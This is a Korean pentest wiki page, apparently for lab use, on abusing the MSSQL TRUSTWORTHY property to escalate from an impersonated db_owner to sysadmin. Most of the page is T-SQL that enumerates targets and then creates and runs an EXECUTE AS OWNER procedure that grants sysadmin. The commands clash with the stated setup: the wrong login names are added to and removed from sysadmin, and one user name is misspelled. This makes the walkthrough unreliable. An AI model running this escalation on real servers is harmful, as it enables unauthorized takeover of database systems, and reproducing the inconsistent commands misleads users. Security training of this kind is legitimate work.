For the complete documentation index, see llms.txt. This page is also available as Markdown.

TRUSTWORTHY

TRUSTWORTHY는 MSSQL에 있는 데이터베이스 속성입니다. 이는 SQL Server 인스턴스가 해당 데이터베이스 내의 코드와 객체들을 신뢰하여 시스템에 접근할 수 있도록 허용할지 결정하는 속성입니다. 개발 과정에서 특정 데이터베이스에서 신뢰 기반으로 서버 시스템에 접근할 수 있어야 할 경우 이러한 기능을 켜두지만, 기본 값은 off 상태입니다.

만약 공격자가 TRUSTWORTHY 기능이 켜진 데이터베이스를 확보하고, 그 데이터베이스의 db_owner 역할을 가진 사용자 권한을 획득하거나 가장할 수 있다면, EXECUTE AS OWNER 옵션을 사용해 sysadmin 권한까지 확보할 수 있습니다.

실습 환경은 다음을 가정합니다.

  • 데이터베이스 : pentest

  • 현재 로그인 정보 : wiki

  • 가장 가능한 사용자 정보 : victim

  • pentest의 db_owner : victim

# 데이터베이스의 TRUSTWORTHY 활성화 여부 확인
SELECT name, is_trustworthy_on  FROM sys.databases;

# 가장할 수 있는 사용자 목록 열거
SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';

# 현재 사용자 / 가장한 사용자 콘솔에서 유저가 TRUSTWORTHY가 활성화된 데이터베이스의 오너인지 확인
SELECT IS_ROLEMEMBER('db_owner');

# vintim 사용자 계정을 가장하여 권한상승 프로시서 생성 및 활성화 후 삭제
CREATE PROCEDURE sp_privesc WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'pentest', 'sysadmin';
EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;

# pentest 사용자 세션으로 돌아와서 권한 정보 확인
REVERT;
SELECT IS_SRVROLEMEMBER('sysadmin');

# pentest 사용자 권한 되돌리기
EXEC sp_dropsrvrolemember 'ws_dev', 'sysadmin';

References

Last updated